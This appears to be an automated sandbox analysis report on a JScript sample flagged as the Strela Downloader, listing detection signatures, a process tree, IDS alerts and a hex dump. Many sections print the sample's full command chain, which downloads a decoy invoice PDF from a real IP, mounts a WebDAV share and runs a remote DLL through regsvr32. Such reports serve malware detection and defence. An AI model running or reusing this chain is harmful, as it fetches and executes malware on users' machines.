Edit tour

Windows Analysis Report
2553416555111621752.js

Overview

General Information

Sample name:	2553416555111621752.js
Analysis ID:	1587809
MD5:	e441744bf6d7026bd32139432989ff3a
SHA1:	a788c3b9369f4ec42b0c893985b69d414d4e12e8
SHA256:	4d078f2020735fe596bf309a54fcec828d66d30e339137591b0c738b91a03b59
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7344 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7480 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7524 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7688 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7896 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8096 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,13139641673470798517,2648342206125239911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7704 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7740 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7344	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7480, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7480, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ProcessId: 7344, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7740, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49742

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ProcessId: 7344, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7480, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7704, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7740, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7964, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7704, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7740, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7344, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll, ProcessId: 7480, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:11:00.927921+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49742	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:10:57.405058+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49721	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2553416555111621752.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2553416555111621752.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49742 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:10:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 